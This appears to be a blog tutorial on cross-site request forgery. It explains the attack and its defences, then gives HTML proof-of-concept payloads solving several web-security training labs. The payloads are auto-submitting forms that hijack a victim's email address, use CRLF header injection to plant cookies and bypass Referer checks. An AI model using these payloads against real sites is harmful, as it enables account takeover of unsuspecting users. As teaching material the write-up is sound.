Cross-site request forgery (CSRF)

Cross-site request forgery (CSRF)

Cross-site Request Forgery (CSRF) vulnerability is a type of attack in which an attacker tricks a user into performing unwanted actions in a web application in which they are authenticated. Basically, the attacker exploits the trust that the website has in the user's browser. Here's a breakdown of how this works:

How CSRF Works

  1. Authenticated User: The user is authenticated on a website (for example, a banking website) and has an active session with authentication cookies.

  2. User Deception: The attacker tricks the user into accessing a malicious web page. This can be done via a link sent via email, social media, or embedded on a compromised legitimate website.

  3. Malicious Request: The malicious page contains code (usually JavaScript) that sends an HTTP request to the website where the user is authenticated. Because the user's browser automatically sends authentication cookies with the request, the target site believes that the request was made intentionally by the user.

  4. Execution of the Action: The target website processes the request as if it were legitimate, as it cannot differentiate between a genuine request made by the user and a forged request.

Examples of CSRF Attacks

  1. Bank Transfer: A user logged into their online banking could be tricked into visiting a malicious page that sends a request to transfer money from their account to the attacker's account.

  2. Password Change: An attacker could trick the user into loading a page that contains a request to change the user's password on the target website.

CSRF Prevention

  1. Anti-CSRF Tokens: Include unique and unpredictable tokens in forms and URLs. These tokens are verified on the server to ensure that the request is legitimate and originating from the website itself.

  2. Referer or Origin Verification: Check the HTTP Referer or Origin headers to ensure requests are coming from legitimate pages on the same site.

  3. Reauthentication: Require user authentication before critical actions such as password changes or financial transfers.

  4. Cookies Configuration: Use the SameSite attribute in cookies to restrict the sending of cookies in requests from different origins.

Conclusion

CSRF is a serious vulnerability that can lead to significant consequences if not adequately mitigated. It is important to implement several layers of defense to protect web applications against this type of attack.

CSRF vulnerability with no defenses

<html>
  <body>
    <form action="https://ac711fd11f4a145080cf065d007d0000.web-security-academy.net/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF where token validation depends on request method

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

<html>
  <body>
    <form action="https://ac821f841ea7fc638025526d00e80028.web-security-academy.net/email/change" method="GET">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Validation of CSRF token depends on token being present

Some applications correctly validate the token when it is present but skip the validation if the token is omitted.

<html>
  <body>
    <form action="https://ac4a1f6c1e26373580a1293100d10042.web-security-academy.net/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF where token is not tied to user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.

<html>
  <body>
    <form action="https://ac951fd61fbca61f80cd57e100bf002d.web-security-academy.net/email/change" method="POST">
      <!-- Attacker's token -->
      <input required type="hidden" name="csrf" value="nvYjyCnkZg9lxPdk0jUwfsYsM7IGqZP5">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.

<!-- Cookie csrfKey works as session ID here. It's app weakness. -->
<html>
  <body>
    <form action="https://acd41f251facd65c80122553008d00c5.web-security-academy.net/email/change" method="POST">
      <!-- Attacker's token -->
      <input required type="hidden" name="csrf" value="nwA4aBrVat0amHXA9Z6nfo8coPU8JhWK"/>
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <!-- Vulnerability which allows an attacker to inject a cookie to victim.  -->
    <img src="https://acd41f251facd65c80122553008d00c5.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=kE4no0fY9JeJvK9KSGzoZrIYZ7PTubzQ" onerror="document.forms[0].submit()">
  </body>
</html>

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the "double submit" defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state.

<html>
  <body>
    <form action="https://ac251fc31f9c6869805c480f00090062.web-security-academy.net/email/change" method="POST">
      <input required type="hidden" name="csrf" value="myCsrfToken"/>
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <!-- Vulnerability which allows an attacker to inject a cookie to victim. -->
    <img src="https://ac251fc31f9c6869805c480f00090062.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=myCsrfToken" onerror="document.forms[0].submit()">
  </body>
</html>

CSRF where Referer validation depends on header being present

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

<html>
  <head>
    <meta name="referrer" content="never">
  </head>
  <body>
    <form action="https://ac341ff21e634bca80a3b4fa00840005.web-security-academy.net/email/change" method="POST">
      <input required type="hidden" name="csrf" value="myCsrfToken"/>
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <img src="1" onerror="document.forms[0].submit()">
  </body>
</html>

CSRF with broken Referer validation

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL.

<html>
  <body>
    <form action="https://ac5b1f021ef24bb18010b59d00cf0004.web-security-academy.net/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      history.pushState("", "", "/ac5b1f021ef24bb18010b59d00cf0004.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

Connect with me:

https://ayo.so/morganbinbash

https://beacons.ai/morganbinbash

https://linktr.ee/morganbinbash